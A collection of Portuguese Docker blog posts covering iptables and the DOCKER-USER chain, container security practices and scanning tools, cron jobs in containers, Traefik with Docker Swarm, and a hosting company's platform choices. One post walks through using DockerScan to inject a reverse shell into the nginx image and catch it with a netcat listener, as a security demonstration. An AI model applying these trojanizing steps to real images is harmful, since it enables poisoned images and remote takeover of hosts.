Iptables e Docker

Oi Gente!!

Iniciando 2019 e esse ano promete mudanças, em todos os aspectos, aqui no Blog também ;), esperamos que esse ano seja de grandes realizações, para todos nós.

Então, se você já trabalha com Docker, já deve ter passado por alguma situação onde as regras de iptables não são obedecidas, é, isso acontece :(.

Se você ainda não mexeu com Docker, recomendo este post aqui, que explica um pouco sobre o que é o Docker e como ele funciona, e te prepara pois o que mostraremos no post de hoje será bem útil para você.

O problema
Por padrão o Docker manipula regras no iptables, mas, por que ele faz isso? Porque quando você cria um container o Docker precisa criar algumas regras para encaminhamento de tráfego, isolamento, etc. É possível desabilitar esse comportamento, porém, você precisará garantir isso manualmente 🙂

Digamos que você tem seu iptables bonito, nele você libera apenas a porta 80 e 22, e bloqueia todo o resto, para isso é provável que você utilize as seguintes regras:

iptables -P INPUT DROP

iptables -A INPUT --dport 80 -j ACCEPT

iptables -A INPUT --dport 22 -j ACCEPT

Neste servidor você tem Docker rodando, e criou um container na porta 80 obviamente para responder as requisições que são feitas.

Ok, agora você teve a necessidade de criar outra container, este em outra porta, e neste container você terá o ambiente de homologação, como você já tem um container executando e utilizando a porta 80, você precisará criar na porta 8080, ok, sem problema, agora posso ir no meu iptables e liberar a porta 8080 APENAS para o meu ip, óbvio que funciona:

iptables -A INPUT -s 10.1.1.2 --dport 8080 -j ACCEPT

Não, não funciona. E a explicação para esse comportamento encontramos em um dos assuntos primordiais da existência de um Sysadmin Linux, o comportamento do iptables.

Para recapitularmos, o iptables é basicamente é um interpretador de regras gerando ações baseadas nessas regras. Dentro do iptables temos três tabelas, são elas: Filter, Nat e Mangle. A tabela mais utiliza de todas é a Filter, é nessa tabela que criamos nossas regras para bloqueio de portas/ips. Dentro dessa tabela encontramos outras três chains, são elas:

  • INPUT: Consultado para pacotes que chegam na própria máquina;
  • FORWARD: Consultado para pacotes que são redirecionados para outra interface de rede ou outra estação. Utilizada em mascaramento.
  • OUTPUT: Consultado para pacotes que saem da própria máquina;

Agora advinha em qual chain são criadas as regras do Docker? Sim, em uma chain de forward, isso por que o pacote não é destinado para o host e sim para a interface que o Docker cria. É importante saber disso, pois o fluxo dentro do iptables muda se o destino do pacote é local ou não.
Para ficar mais claro, dá uma olhada nessa imagem:
Isso quer dizer que aquele seu container que foi criado na porta 8080 ficará exposto, pois a regra de forward será executada antes daquela sua regra de input que bloqueia tudo ;). A chain utilizada neste caso chama-se DOCKER, e você pode visulizar as regras criadas utilizando o:

iptables -L -nv

“Oh, e agora quem poderá nos defender?”

A Solução

Até pouco tempo atrás havia basicamente uma solução, nem um pouco “elegante” de se resolver isso.

  • Desabilitar no daemon do Docker para ele não manipular de forma automatica essas regras, com isso você precisaria criar manualmente as regras;

Existiam outras formas? Sim, algumas mais complexas, outras mais baixo nível, mas de qualquer forma nada tão simples e muito menos fácil de se administrar, então, depois de vários pedidos e sugestões de solução no github do Docker, isso foi repensado e resolvido de uma forma mais inteligente.

Foi adicionado uma nova Chain, chamada DOCKER-USER, essa chain apesar de ser forward também, precede as chains utilizadas pelo Docker na criação de containers. Dessa forma, você pode utilizar ela para adicionar as suas regras personalizadas e garantir o bloqueio ou acesso aos containers.

Te lembra daquelas regra que não funcionava antes? Então, neste novo cenário, ficará dessa forma:

iptables -I DOCKER-USER -s 10.1.1.2 --dport 8080 -j ACCEPT

iptables -A DOCKER-USER --dport 8080 -j DROP

Bem mais simples do que manipular todas as regras do Docker manualmente, certo? Mas lembre-se, isso serve apenas para controlar o trafego externo aos containers, isso não é aplicado no contexto de INPUT, então tome cuidado achando que é nessa chain que deve ir todas as suas regras. Outro ponto positivo para essa abordagem é a simplicidade para automatizar, pois basta integrar essa mesma lógica em sua pipeline e você estará protegendo seus containers.

É possível ainda manter aquele seu script maroto de firewall, basta adicionar mais algumas regras liberando ou não o acesso a determinada porta (na qual quem responderá será um container).

Então era isso, se quiser saber mais, tirar alguma dúvida ou ainda ajudar, deixa ai nos comentários ou entre em contato por e-mail. Grande abraço e boa semana 😉

DockerScan: Análise e hacking para Docker

Olá gente! Tudo bem?

Continuando a série de textos sobre Segurança e Docker, hoje vou falar sobre uma das ferramentas que citei no texto Segurança e hacking de containers Docker,  vamos ver mais detalhes sobre a ferramenta DockerScan.

DockerScan é uma ferramentas de análise e hacking de containers Docker, com ela é possível fazer uma varredura buscando por vulnerabilidades de segurança e também fazer o inverso, injetar vulnerabilidades em imagens Docker, abaixo vamos ver suas principais funcionalidades e alguns exemplos de uso.

Principais Funcionalidades

  • Faz scan de uma rede tentando localizar os Docker Registries
  • Registry
    • Delete: Exclui image / tag remota
    • Info: Mostra informações  de registros remotos
    • Push: Envia uma imagem
    • Upload: Upload de arquivo
  • Image
    • Analyze
      • Busca por informações confidenciais em uma imagem
      • Busca por senhas em variáveis de ambiente
      • Busca por qualquer URL / IP em variáveis de ambiente
      • Tenta identificar o usuário usado para executar o software
    • Extract: extrair uma imagem
    • Info: Obtém meta-informação da imagem
    • Modify:
      • entrypoint: altere o ponto de entrada em um Docker
      • trojanize: injeta um reverse shell em uma imagem Docker
      • user: altere o usuário em execução em uma imagem Docker

Instalando o DockerScan

Vamos ver agora como é simples instalar a ferramenta DockerScan.

Primeiro instale o gerenciador de pacotes da linguagem Python o pip:

> python3.5 -m pip install -U pip

Agora instalamos o DockerScan

> python3.5 -m pip install dockerscan

Verifique se a instalação foi feita corretamente e exiba as opções de funcionamento:

> dockerscan -h

Exemplos de utilização

Agora vamos para a parte legal, por a mão na massa, vamos ver alguns exemplos de como o DockerScan pode ser utilizado:

Com o comando a baixo pode ser escaneada uma imagem para identificar possíveis vulnerabilidades:

$ dockerscan image info nome-da-imagem

Seguindos os passos a baixo podemos injetar vulnerabilidade em uma imagem Docker. Vamos adicionar um reverse shell neste exemplo:

//Baixe a imagem oficial do nginx
$ docker pull nginx

//Salve uma cópia da imagem
$ docker save nginx -o nginx-original

//Liste o conteúdo do diretório para ver se foi criada a cópia
$ ls -lh nginx-original

//Execute o seguinte comando para ver as informações da imagem
$ dockerscan image info nginx-original

//Execute um ifconfig para saber seu ip
$ ifconfig

//Execute para injetar um reverser shell
$ dockerscan image modify trojanize nginx-original -l 172.18.0.1 -p 2222 -o nginx-trojanized
//Com este comando será criada uma nova imagem com um reverse shell

//Execute em outro terminal para ficar "ouvindo" a porta 2222
$ nc -v -k -l 2222

//Faça o load da imagem com vulnerabilidade
$ docker load -i nginx-trojanized.tar

//Execute
$ docker run nginx:latest

Um reverse shell é um tipo de shell no qual a máquina alvo se comunica de volta à máquina atacante. A máquina atacante tem uma porta ouvinte na qual ele recebe a conexão, que ao usar, o código ou a execução do comando são alcançados.

Isso é tudo por enquanto, no repositório do projeto DockerScan pode ser encontrada mais informações sobre esta ferramenta, se você conhece outras dicas, ferramentas, ficou com alguma dúvida ou tem algo a contribuir, deixe um comentário abaixo. Obrigado pela leitura.




Segurança e hacking de containers Docker

Olá gente! Tudo bem?

Como vocês podem ter notado, meu nome é Fernando e este é o meu primeiro post aqui no blog, e minha contribuição será no sentido de esclarecer e ajudar vocês com algumas questões que pouca gente se preocupa, ou até mesmo implementa, mas que eventualmente pode prejudicar a sua aplicação ou seu negócio, sim, hoje falaremos sobre Segurança 😉 .

A alguns meses iniciei uma busca por informações sobre segurança relacionado a Docker, pois não via quase ninguém falar, na época até pensei que era porque eu estava por fora dos grupos de discussões, mas ao ir conversando com algumas pessoas bem envolvidas com a comunidade Docker fui vendo que em português temos bem pouco sobre este assunto. Então comecei a buscar por este assunto e fui encontrando materiais em inglês, assim fui montando um compilado de materiais sobre para tentar criar uma apresentação ou artigo. Conversando com o Cristiano do Mundo Docker, que é um membro muito ativo na comunidade Docker, recebi bastante incentivo pois ele também achou que o assunto é bem importante e pouco abordado, e nesta conversa surgiu a ideia de fazer uma pesquisa com a comunidade para saber de quem está usando Docker o que estão fazendo com relação a segurança.

Foi um questionário bem simples, com 3 perguntas  que foi realizado entre 14 e 25 de agosto 2017, com 36 participantes.

Primeira pergunta: Já utilizou Docker em produção?

Mais de 55 por cento das pessoas que participaram da pesquisa responderam que utilizam Docker em produção.

Segunda pergunta: Verifica vulnerabilidades nas imagens utilizadas?

Dos 36 participantes menos de 20 por cento faz algum tipo de verificação para tentar identificar vulnerabilidades nas imagens Docker utilizadas.

Terceira pergunta: Como verificar vulnerabilidades?

E na última pergunta a ideia era identificar se é utilizado algum tipo de ferramenta para fazer as verificações de vulnerabilidades. Dos 19.4% que responderam que fazem alguma verificação somente um respondeu que utilizava alguma tipo de ferramenta, os outros informaram fazer verificações manuais, analisando o dockerfile e suas dependências, verificando autenticação, permissões e qualquer tipo de comunicação com o host.

Com base nessa pesquisa eu passei a focar o desenvolvimento deste material em ferramentas que podem ajudar no dia-a-dia para verificação de vulnerabilidades, em imagens, container e host. E com isso também encontrei ferramentas para fazer hacking de containers Docker. Para se proteger nada melhor que saber como pode ser atacado, então acompanhem até o final que vamos ter bastante dicas e ferramentas bacanas.

Mas para começarmos a utilizar as ferramentas primeiro precisamos estar ciente de algumas preocupações e práticas de segurança  ao usar Docker.

Preocupações com segurança ao usar Docker

Kernel exploits (exploração do kernel)

Ao contrário de uma VM, ao usar containers o kernel é compartilhado entre todos os containers e o host, aumentando a importância de qualquer vulnerabilidade que explore o kernel.

Denial-of-service attacks (ataque de negação de serviço)

Como todos os containers compartilham  recursos do kernel, se um container pode monopolizar o acesso a certos recursos, incluindo memória, ou até IDs de usuário (UIDs), pode faltar recursos para outros containers, resultando em uma negação de serviço (DoS).

Container breakouts (invasão de container)

Um invasor que tem acesso a um container não pode ter acesso a outros containers ou ao host. Se você usa root no container, você será root no host.

Poisoned images (imagens “envenenadas”)

Como você sabe que as imagens que você está usando são seguras, não foram adulteradas, e vêm de onde elas afirmam vir?

Application secrets (segredos de aplicações)

Quando um container acessa um banco de dados ou serviço, provavelmente exigirá credenciais, como um token ou mesmo usuário e senha. Se um invasor tiver acesso ao container terá acesso a estes dados.

Práticas de segurança

No tópico anterior foi levantada algumas preocupações de segurança que devemos ter ao usar containers, agora vamos ver algumas possíveis soluções para tentar resolver estes problemas.

Inicio este tópico com uma pergunta.

Como devemos armazenar dados sensíveis, como senhas, chaves privadas, tokens, chaves de APIs?

Para começar a responder esta pergunta, eu acho mais fácil e direto responder como não devemos armazenar dados sensíveis.

Não use variáveis de ambiente ou incorpore na imagem de container. É uma dica meio óbvio mas acontece e muito. Se quiserem ler sobre um caso, de utilização de credenciais incorporadas na imagem e que vazou,  tem um consideravelmente conhecido que aconteceu com a IBM: IBM Data Science Experience: Whole-Cluster Privilege Escalation Disclosure.

Mas como então devemos armazenar nossas credenciais de acesso quando usamos containers? Uma ótima solução é utilizar o Docker Secrets Management.

Docker Secrets Management

O Docker Secrets funciona como um cofre onde você pode colocar coisas sensíveis lá e só quem tem a chave do cofre consegue utilizar, no caso essa chave é designada aos nós dos serviços que a chave for atribuída. Mais de como funciona pode ser visto no blog Mundo Docker – Docker Secrets.

Outras dicas de segurança menciono abaixo em forma de tópicos:

Proteja seu host

  • Certifique-se de que seu host e a configuração do Docker engine sejam seguras
  • Mantenha seu SO atualizado
  • Impor controle  de acesso para evitar operações indesejadas, tanto no host como nos containers, usando ferramentas como SecComp, AppArmor ou SELinux

Redução dos privilégios

  • Tomar cuidado ao executar como root
  • Crie namespaces isolados
  • Limitar privilégios ao máximo
  • Verifique se o container é confiável (verifique a imagem)

Alto uso de recursos do container

  • Limite os recursos no kernel ou no container
  • Fazer testes de carga antes de pôr em produção
  • Implemente monitoramento e alertas

Autenticidade da imagem

  • De onde veio?
  • Você confia no criador?
  • Quais políticas de segurança está usando?
  • Identificação do autor
  • Não use se não confia na fonte
  • Use um servidor Docker Registry próprio
  • Verifique a assinatura da imagem

Vulnerabilidades de segurança presentes na imagem

  • Inspecionar as imagens
  • Atualize para pegar novos patches de segurança
  • Utilize uma ferramenta de scanner de vulnerabilidades
  • Integre esse scanner como etapa do seu CI/CD

Ferramentas de análise de segurança e hacking

Até aqui vimos algumas preocupações que devemos ter e algumas soluções relacionadas a segurança quando usamos containers, agora vamos ver algumas ferramentas que podem nos auxiliar e muito no nosso dia-a-dia.

Docker Security Scanning

Anteriormente conhecido por Projeto Nautilus, a solução fornece um perfil de segurança detalhado das imagens Docker com objetivo de tornar o ambiente em conformidade com as melhores práticas. A ferramenta faz uma varredura das imagens antes de serem utilizadas e monitoramento de vulnerabilidades. Esta ferramenta está disponível no Docker Hub, Store e Cloud.

No Docker Hub por exemplo está disponível para as imagens oficiais e pode ser visto o nível de vulnerabilidade destas imagens ao acessar as tags.

Ao clicar em uma das tags é possível identificar em qual camada está esta vulnerabilidade.

Abaixo algumas ferramentas separadas por projetos Open Source e Aplicações Web gratuitas ou pagas. São ferramentas que podem auxiliar no dia-a-dia na verificação de vulnerabilidades.

Ferramentas Web

  • Anchore – anchore.io – Descubra, analise e certifique as imagens e containers
  • Image Layers – imagelayers.io – Inspeciona as imagens dos containers e seus metadados
  • Micro Badger – microbadger.com – Inspeciona as imagens dos containers e seus metadados
  • Quay – quay.io – Constrói, analisa e distribui imagens de containers
  • Twistlock – twistlock.com – Segurança para containers Docker, Kubernetes e mais
  • Aqua – aquasec.com – Plataforma de segurança para containers

Ferramentas Open Source

  • Docker Bench for Security – https://dockerbench.com/ – O Docker Bench for Security é um script que verifica dezenas de melhores práticas comuns em torno da implantação de containers Docker na produção.
  • Open Scap – open-scap.org – Esta ferramenta faz revisão de imagens e containers para identificar vulnerabilidades.
  • Docke Scan – github.com/kost/dockscan – Esta ferramenta faz scanner de imagens Docker para identificar vulnerabilidades.
  • Docker Scan – github.com/cr0hn/dockerscan – Esta ferramenta faz scanner de imagens Docker para identificar vulnerabilidades e também possui funcionalidade para injetar vulnerabilidades.

Isso é tudo por enquanto, mas se você conhece outras dicas ou ferramentas que não são mencionadas aqui, deixe um comentário abaixo. Obrigado pela leitura e um grande abraço!

 

Cronjobs com Docker

Oi Pessoal,

Hoje vamos trazer para vocês um forma de resolver algo que é bem recorrente e comum em ambientes de produção, e que talvez acabe de tornando uma porta de entrada para o uso do Docker em maior escala. Dessa vez, você entenderá como é possível realizar o agendamento e execução de script utilizando a crontab dentro de containers Docker \o/.

Para quem ainda não sabe, dentro de ambiente like *unix é possível realizar o agendamento de scripts utilizando uma ferramenta chamada Crontab (para quem é do ambiente Microsoft, é o mesmo que o task scheduler, mas com mais poder 🙂 ), através dela você define o horário de execução para os scripts, usuário que será utilizado para a execução do mesmo, e claro, qual script deve ser executado. Pois bem, sabendo disso, é possível utilizar o Docker para que a execução desses scripts seja realizada dentro de containers.

Mas afinal, quais as vantagens disso?

Bem, a execução de script via crontab, pode gerar alguns desafios, principalmente se não há um controle rigoroso de quais scripts estão sendo agendados, dentre os desafios podemos destacar:

1 – Uso excessivo de recursos: Pode acontecer de algum script ter algum erro e fazer com que haja uso excessivo de recursos (memória, cpu) durante a sua execução, e acredite, isso é mais comum do que imagina. Existe formas de contornar isso, no entanto, nativamente não.

2 – Segurança na execução: Você pode definir qual usuário executará um determinado script, isso funciona muito bem dentro da crontab, no entanto, caso você não especifique, o usuário utilizado para a execução do script  será o mesmo que inicializou o serviço da cron, e geralmente este serviço inicializa com o usuário root, então…

Ok Cristiano, e como o Docker pode me ajudar?

Aeooooo mais um convertido, vamos ver como funciona na prática?

A primeira coisa que faremos é criar os diretório necessários, para isso, defina um diretório de trabalho, e nele crie uma pasta chamada “cron” e outra chamada “scripts”. Em seguida vamos buildar uma imagem Docker apenas com o que precisamos para realizar a execução dos scripts, como imagem base, vamos utilizar uma do NodeJS Alpine, lembrando que, neste caso nossa cron executará um script escrito em node, você deve adaptar a imagem de acordo com a sua necessidade (se seu script é em PHP, então a imagem deve ser PHP, e assim por diante) veja como ficou nosso Dockerfile:

FROM node:8-alpine
RUN apk update && apk add tzdata &&\ 
    cp /usr/share/zoneinfo/America/Sao_Paulo /etc/localtime &&\ 
    echo "America/Sao_Paulo" > /etc/timezone &&\ 
    apk del tzdata && rm -rf /var/cache/apk/*
CMD chown root:root /etc/crontabs/root && /usr/sbin/crond -f

Não preciso explicar este Dockerfile né, você já deve ter lido este post né? 😉 salve-o dentro da pasta “cron”.

Bem, agora precisamos montar o resto do ambiente, para este lab, vamos criar um arquivo chamado cron1 com o seguinte conteúdo:

0 7,19 * * * /usr/local/bin/node /home/mundodocker/hello.js >> /var/log/cronteste/hello.log 2>&1

Neste caso, o script será executado as 7h e as 19h todos os dias, salve-o dentro da pasta “cron” também.

Veja, que neste caso o script que deverá ser executado é o /home/mundodocker/hello.js que contém algo simples em node:

console.log("Hello world");

Salve-o dentro da pasta “scripts”.

Ok, agora estamos quase prontos, pelo menos, tudo que precisamos está pronto, se quisermos podemos utilizar essa estrutura, pois ai já contém tudo que é necessário, obvio que isso não basta, visto que a intenção é deixar tudo automatizado. Para isso, é necessário que você tenha o docker-compose instalado, com isso conseguimos automatizar 100% do ambiente. Como você já sabe, para utilizarmos o docker-compose, precisamos de um arquivo no formato yaml com as definições de nosso ambiente, veja como ficou nosso docker-compose.yml:

version: "3"
services:
    cron:
        build: cron
        container_name: cronteste
        volumes:
            - /var/log/cronteste:/var/log/cronteste
            - ./cron/cron1:/etc/crontabs/root
            - ./sripts:/home/mundodocker

Para validar, você pode executar o comando:

docker-compose up

Com isso ele fará o build da imagem e em seguida iniciará um container com esse agendamento. Além das opções acima, você pode por exemplo limitar os recursos desse container, inclusive definir um valor minimo para o mesmo. Outra possibilidade é iniciar este container com um usuário especifico, dessa forma você não terá problemas com aquela execução com usuário root 😉

Validou? Tudo certo? Agora vamos fazer com que esse mesmo comando seja executado na inicialização do servidor, visto que, ele ficará no somente enquanto o servidor estiver ligado, e obviamente os agendamentos serão perdidos, não queremos isso certo?

Pois bem, em sistema onde você tem o systemd (Ubuntu, RedHat, Fedora, CentOS) você deverá criar um novo service, para isso, crie dentro de: “/lib/systemd/system/” um arquivo com nome de: docker-cron.service com o seguinte conteúdo:

[Unit]
Description=Docker Cron
Requires=docker.service
After=docker.service

[Service]
Restart=always
ExecStart=/usr/local/bin/docker-compose -f /home/mundodocker/docker-compose.yml up
ExecStop=/usr/local/bin/docker-compose -f /home/mundodocker/docker-compose.yml stop

[Install]
WantedBy=default.target

Criado o arquivo, basta fazer com que o systemctl releia o arquivo e adicione o serviço a sua base:

systemctl daemon-reload

Agora é simples, vamos adicionar este serviço ao startup do servidor:

systemctl enable docker-infra

Dessa forma você pode administrar da mesma forma que um serviço, ou seja, posso iniciar e parar esse agendamento a qualquer momento, e mesmo que o servidor seja reiniciado, o agendamento será persistido.

 

Ok, agora sim temos tudo 100% automático, não precisamos nos preocupar com mais nada, a não ser é claro em estender isso a  outros tipos de agendamento (se for este o seu caso é claro). Bom, por hora era isso, ficou com dúvida? Tem algo a contribuir? Por favor deixe nos comentários e vamos melhorando juntos 😉

 

Obrigado e grande abraço!

Traefik e Docker Swarm

Opa!

Acreditamos que um dos maiores desafios quando se trabalha com alguma tecnologia de cluster, é a forma como você vai disponibilizar o conteúdo para seu usuário/cliente, obviamente isso pode ser feito de diversas maneiras, e cada uma delas atender a uma necessidade e objetivo.

A intenção hoje é trazer à vocês uma forma simples de se disponibilizar conteúdo web (site, api, etc.) e que tem como backend o Docker Swarm, sim, hoje falaremos do Traefik, um poderoso proxy web dinâmico. Antes disso, temos que responder a seguinte dúvida: Por que diabos preciso de um proxy reverso dinâmico? Simples, por que as implementações atuais de Apache, Haproxy e Nginx foram desenvolvidas para serem estáticos, necessitando de intervenções para que as modificações sejam aplicadas. É claro que existem iniciativas que tratam isso, e são boas alternativas também, como é o caso do docker-flow-proxy e jwilder/nginx mas são presas ao que as tecnologias base oferecerem. No caso do traefik, a situação é bem diferente, ele é um proxy arquitetado e desenvolvimento para ser totalmente dinâmico e orientado a micro-serviços, além disso, ele suporta nativamente diversos tipos de backend, como é o caso do Docker Swarm, Kubernetes, Mesos, Docker apenas, Consul, dentre muitos outros.

Features

Algumas features/benefícios do Traefik, incluem:

  • Veloz.
  • Sem dependência, ele é um binário escrito em go.
  • Existe imagem oficial para Docker.
  • Fornece uma API Rest.
  • Reconfiguração sem a necessidade de reiniciar o processo.
  • Metricas (Rest, Prometheus, Datadog, Statd).
  • Web UI em AngularJS.
  • Suporte a Let’s Encrypt (Com renovação automática).
  • Alta disponibilidade em modo cluster (beta).

O Traefik foi desenvolvido para atender a demanda de requisições web, então ele pode ser utilizado para fazer o roteamento das conexões de um site ou api para o container ou serviço que foi criada para isso. A imagem abaixo é clássica, e explica bem esse comportamento:

Fonte: https://docs.traefik.io

Como pode ser visto, o traefik fica “ouvindo” as ações que ocorrem no orquestrador (independente de qual for) e baseado nessa ações se reconfigura para garantir o acesso ao serviço/container criado. Dessa forma basta você apontar as requisições web (seja http ou https) para o servidor onde o traefik está trabalhando.

Mãos a massa?

Em nosso lab, vamos montar esse ambiente utilizando o Docker Swarm como nosso orquestrador, para isso, tenha pelo menos três hosts, inicialize o Swarm em um deles, e em seguida adicione os demais ao cluster.

Feito isso, precisamos criar um rede do tipo overlay, que será utilizada pelo traefik para enviar o trafego web:

docker network create -d overlay net

Depois de inicializada a rede overlay, basta criar o serviço do traefik:

docker service create --name traefik --constraint 'node.role==manager' --publish 80:80 --publish 8080:8080 --mount type=bind,source=/var/run/docker.sock,target=/var/run/docker.sock --network net traefik:camembert --docker --docker.swarmmode --docker.domain=mundodocker --docker.watch --logLevel=DEBUG --web

Com este comando, será criado um serviço mapeando o socket do Docker para que o traefik possa monitorar o que acontece neste cluster, além disso são expostas as porta 80 (para acesso dos sites/apis) e 8080 (página administrativa do traefik), caso preciso da 443, basta adicionar a lista.

Ok, até agora o que fizemos foi criar o serviço do traefik no cluster para que monitore e se reconfigure baseado nos eventos do cluster. Agora precisamos criar nossos serviços web e ver se tudo funcionará como deveria. Vamos lá:

Blog:

Vamos criar agora uma nova aplicação web, que será responsável por um blog, o processo de criação é bem simples:

docker service create --name traefik --label 'traefik.port=80' --label traefik.frontend.rule="Host:blog.mundodocker.com.br;" --network net ghost

Criamos um serviço com nome de blog, utilizando uma imagem do WordPress e adicionamos na rede “net”, essa mesma rede onde o traefik está, agora vamos detalhar os novos parâmetros:

  • traefik.port = Porta onde a aplicação vai trabalhar, nos caso do wordpress, será na porta 80 mesmo.
  • traefik.frontend.rule = Qual será o virtual host que este serviço atende, com isso o traefik consegue definir que, quando chegar uma requisição para: blog.mundodocker.com.br, encaminhará as requisições para o serviço correto.

Agora basta apontar no DNS a entrada blog.mundodocker.com.br para o servidor do traefik e a mágica estará feita.

Site:

Para ver como é difícil, tudo que você precisa fazer é executar este comando:

docker service create --name site --label 'traefik.port=80' --label traefik.frontend.rule="Host:www.mundodocker.com.br;" --network net tutum/apache-php

Dessa vez criamos um novo serviço, na mesma rede, mas com alguns parâmetros diferentes, como é o caso do traefik.frontend.rule, onde especificamos um novo endereço, e claro a imagem que vamos utilizar, que agora é a tutum/apache-php.

URLs:

Outra feature muito legal do traefik é a possibilidade de redirecionar URLs para backends diferentes. O que isso quer dizer? Quer dizer que podemos enviar partes de uma aplicação para serviços diversos, por exemplo, na aplicação existe um /compras e um /categoria, podemos enviar essas URLs para serviços distintos, isso apenas informando o traefik, veja:

docker service create --name categoria --label 'traefik.port=3000' --label traefik.frontend.rule="Host:www.mundodocker.com.br; Path: /categoria/" --network net node

Note que agora temos um novo parâmetro, o “Path” onde especificamos qual URL este serviço vai atender, o resto é semelhante, informamos a porta e imagem que este serviço vai utilizar. Para criar um serviço especifico para outra URL, basta:

docker service create --name compras --label 'traefik.port=3000' --label traefik.frontend.rule="Host:www.mundodocker.com.br; Path: /compras/" --network -net node

E pronto, sua aplicação estará “quebrada” entre vários serviços, e o mais legal é que você não precisou editar um arquivo de configuração se quer. Além dessas facilidades, o traefik ainda disponibiliza uma interface para visualizar como está a saúde das url, em nosso lab você acessará pela porta 8080, e você visualizará algo assim:

Neste dashboard você poderá visualizar como estão configuradas as suas entradas no proxy. Na aba health você poderá visualizar como está o tempo de resposta das url e saber se está tudo certo com o trafego, veja:

Bonito né? E além de tudo, extremamente funcional 🙂 , em posts futuros veremos um pouco mais sobre como funciona a API do traefik, como configurar o let’s encrypt, e alguns outros pontos, por enquanto, como post introdutório, era isso que gostaria de trazer a vocês.

Esperemos que tenham gostado, qualquer dúvida/sugestão nos avise 😉

Grande abraço, até mais!

NodeJS com Docker na Umbler

Eai pessoal, blz?

O post hoje será um pouco diferente, queremos trazer para vocês como a Umbler desenvolveu sua plataforma de NodeJS utilizando Docker. SIM, falaremos sobre o que deu certo e, claro, o que deu errado nesse caminho. O intuito é mostrar mais um case de sucesso e tudo que foi preciso para isso :).

A Umbler  já utiliza Docker há alguns anos (obviamente para aplicações/serviços internos) e isso ajudou no desenvolvimento de sua plataforma NodeJs. Mas até chegar à experiência ideal levou tempo, pesquisa, testes, prototipação e muita paciência.

Abaixo compartilhamos com vocês uma apresentação que foi realizada durante o Meetup de NodeJS em Porto Alegre no dia 11/07, onde mostramos aos participantes os detalhes dessa jornada:

Vamos detalhar o que foi apresentado.

Quem mesmo?

A Umbler é uma StartUp gaúcha de cloud hosting sob demanda, seu objetivo é facilitar cada vez mais a vida de quem cria a web, ou seja, as agências e desenvolvedores. Atualmente possui cerca de quarenta mil clientes e conta com setenta funcionários distribuídos pelo mundo.

O caminho até aqui

Como sempre, não existe uma solução mágica para todos os problemas, ou uma única solução infalível. Às vezes, temos que nos aventurar com o máximo de alternativas possíveis para ter certeza de que aquilo não nos atenderá ou, pelo menos, não nos atenderá naquele momento.

Foi assim que, depois de muito meses de testes e prototipação, foi possível observar algumas coisas e descobrir o porquê de algumas soluções não atenderem a demanda que a Umbler queria resolver. Entre as soluções testadas é possível destacar:

OpenShift

Plataforma pronta para criação de containers, baseada em Kubernetes. É uma plataforma que funciona muito bem, tem instalação relativamente fácil, possui gerenciamento centralizado e conta com integração com diversas outras ferramentas/soluções. Esta é uma ferramenta com muitos pontos positivos, pois atende aos mais variados problemas, mas que não se encaixou, até então, no que a Umbler precisava. Dos pontos negativos que se destacam são:Curva de aprendizagem: Openshift possui, além de kubernetes, uma série de outras soluções para que seja possível a criação e gerenciamento dos containers nela hospedado. Seu uso é simples e intuitivo, mas eventualmente algo daria manutenção, e aí estava um dos empecilhos. Além de saber tudo sobre Docker, Kubernetes, OpenVswitch, era obrigatório entender cada um dos demais componentes da plataforma, justamente para se antecipar a algum problema.

  • Restrições: Apesar de todas as facilidades, o OpenShift possui algumas restrições que, para as necessidades mapeadas, impossibilitaram o seu uso ou, pelo menos, gerariam mais demanda para adaptar a plataforma. O objetivo da Umbler é criar uma plataforma completa e fácil, com a menor quantidade de amarras possíveis, garantindo assim a melhor experiência dos usuários, infelizmente o Openshift tornaria isso mais complexo de ser realizado.
  • Inovação: Obviamente inovar é preciso, no mercado de tecnologia isso é além de bom, obrigatório, com as restrições que foram encontradas inovar utilizando o Openshift dependeria muito do que a plataforma teria a oferecer,  ou seja, a inovação do produto estaria presa a inovação da plataforma, restando pouco, ou quase nada de margem para adaptação.
  • Custo: Existem basicamente duas versões do Openshift, a Origin que é opensource e você pode utilizar para resolver seus desafios sozinho, e contar com o apoio da comunidade. Ou a versão enterprise, que garante suporte comercial à plataforma e atualizações dos softwares que a compõem. Independente da versão, o custo/benefício não compensava, pois mesmo com a versão opensource o tempo de resposta ou atualização para algo crítico era muito grande, tornando assim a versão “gratuita” não tão gratuita assim.

Kubernetes

Kubernetes é um orquestrador para containers totalmente opensource, e mantido por uma comunidade gigantesca. Tendo em vista o histórico de testes/prototipação com o Openshift, a segunda abordagem naturalmente seria algo mais voltado ao que já foi visto. Como a base do Openshift é Kubernetes, a ideia era utilizar o Kubernetes e adaptar o que fosse necessário para a plataforma. Simples não? Sim e não, vamos ver algumas restrições dele:

  • Curva de aprendizagem: Realmente, utilizando apenas o Kubernetes a quantidade de tecnologias que deveriam ser dominadas foi reduzida a apenas duas: Docker e Kubernetes. Mesmo assim, o tempo para aprender tudo e saber resolver tudo dessas tecnologias era elevado. Menor do que com Openshift, mas ainda assim algo que faria a plataforma levar mais tempo a ser finalizada.
  • Restrições: Depois de muita leitura, estudo e testes, foram encontradas ainda assim algumas restrições, a mais clássica delas é o Kubernetes não suportar as últimas versões do Docker, ou seja, sempre haveria um gap entre o que foi lançado de novidade pela engine do Docker e o que realmente está sendo utilizado.
  • Inovação: Como no caso da Openshift, o uso do Kubernetes resolveria diversos pontos da plataforma, mas ainda assim seria algo que poderia travar a inovação e adaptação da plataforma.

Docker Swarm

O Swarm é o método nativo de cluster na engine do Docker, a partir da versão 1.12 do Docker é possível utilizar esse recurso sem a necessidade de uma ferramenta ou solução de terceiros. Assim como no Kubernetes, com o Swarm é possível criar e gerenciar todos os serviços/containers do cluster. Com o Swarm foi possível resolver algumas das pendências das demais soluções, como por exemplo:

  • Curva de aprendizagem: Como já mencionado, a Umbler utiliza Docker há algum tempo, então já havia em casa mesmo o conhecimento prévio, bastando apenas a adaptação para o modo de cluster.
  • Custo: Existe a versão opensource e a versão enterprise do Docker, a grande diferença entre depender da comunidade Docker e comunidade Openshift é a velocidade na resolução de alguma issue ou até mesmo melhoria para a engine, isso facilita na tomada de decisão, sem contar no tamanho das comunidades 😉
  • Inovação: Ainda há uma amarra quanto a tecnologia, no entanto, com o Swarm é possível criar/modificar a plataforma na mesma velocidade da engine de containers.

Existe algo em que o Swarm não atendeu? Sim, obviamente, e isso é natural, visto que não existe solução mágica para tudo. No entanto, foi possível adaptar algumas outras soluções para que fosse possível mitigar ou até mesmo sanar esses casos.

